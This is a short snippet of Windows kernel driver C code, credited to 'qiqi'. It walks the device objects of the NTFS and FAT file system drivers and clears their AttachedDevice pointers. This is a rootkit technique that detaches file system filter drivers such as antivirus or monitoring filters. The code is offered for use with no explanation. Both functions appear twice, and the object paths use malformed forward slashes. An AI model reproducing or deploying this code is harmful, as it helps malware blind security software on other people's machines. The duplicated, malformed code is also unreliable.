//by qiqi
void ClearFilters(WCHAR * Name)
{
UNICODE_STRING TName;
PDRIVER_OBJECT TDrvObj;
PDEVICE_OBJECT CurrentDevice;
NTSTATUS status;
RtlInitUnicodeString ( &TName, Name);
status = ObReferenceObjectByName( &TName,
OBJ_CASE_INSENSITIVE,
NULL,
0,
*IoDriverObjectType,
KernelMode,
NULL,
&TDrvObj);
if(NT_SUCCESS(status))
{
if(TDrvObj)
{
CurrentDevice = TDrvObj->DeviceObject;
while(CurrentDevice != NULL )
{
CurrentDevice->AttachedDevice = 0;
CurrentDevice = CurrentDevice->NextDevice;
}
ObDereferenceObject(TDrvObj);
}
}
}
void f**kFsdFilter()
{
ClearFilters(L"//FileSystem//Ntfs");
ClearFilters(L"//FileSystem//Fastfat");
}
void ClearFilters(WCHAR * Name)
{
UNICODE_STRING TName;
PDRIVER_OBJECT TDrvObj;
PDEVICE_OBJECT CurrentDevice;
NTSTATUS status;
RtlInitUnicodeString ( &TName, Name);
status = ObReferenceObjectByName( &TName,
OBJ_CASE_INSENSITIVE,
NULL,
0,
*IoDriverObjectType,
KernelMode,
NULL,
&TDrvObj);
if(NT_SUCCESS(status))
{
if(TDrvObj)
{
CurrentDevice = TDrvObj->DeviceObject;
while(CurrentDevice != NULL )
{
CurrentDevice->AttachedDevice = 0;
CurrentDevice = CurrentDevice->NextDevice;
}
ObDereferenceObject(TDrvObj);
}
}
}
void f**kFsdFilter()
{
ClearFilters(L"//FileSystem//Ntfs");
ClearFilters(L"//FileSystem//Fastfat");
}